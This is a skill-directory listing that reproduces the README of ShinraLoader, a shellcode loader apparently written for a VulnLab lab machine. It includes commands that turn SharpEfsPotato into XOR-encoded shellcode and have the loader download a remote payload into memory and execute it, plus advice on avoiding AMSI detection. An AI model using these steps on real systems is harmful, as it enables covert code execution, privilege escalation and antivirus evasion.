SkillAgentSearch skills...

ShinraLoader

Shellcode loader that I created to use for VulnLab's Shinra.

Install / Use

/learn @P0142/ShinraLoader
About this skill

Quality Score

0/100

Supported Platforms

Universal

README

ShinraLoader

Shellcode loader that I created to use for VulnLab's Shinra. Requires donut: https://github.com/TheWover/donut

pip install donut-shellcode

Usage: Create your payload

python donutGenerator.py -i SharpEfsPotato.exe -b 1 --args='-p calc.exe' -x "HelloWorld"

Host the file on a web server and use the loader to download into memory and execute

.\Loader.exe /p:http://example.com/payload.bin /x:HelloWorld

Omit -x and /x: if not using XOR functionality.

Donut doesn't bypass amsi anymore (AMSI_Patch_T.B12), so I recommend making sure your payloads don't trigger it before sending them off. Add the flag -b 1 to avoid your shellcode being created with the now non-functional amsi-bypass.

Inspired by my teammate Mane: https://github.com/manesec/shellcodeloader4mane

Using syswhispers3 syscalls: https://github.com/klezVirus/SysWhispers3

View on GitHub
GitHub Stars7
CategoryDevelopment
Updated2mo ago
Forks0

Languages

C++

Security Score

85/100

Audited on Jan 11, 2026

No findings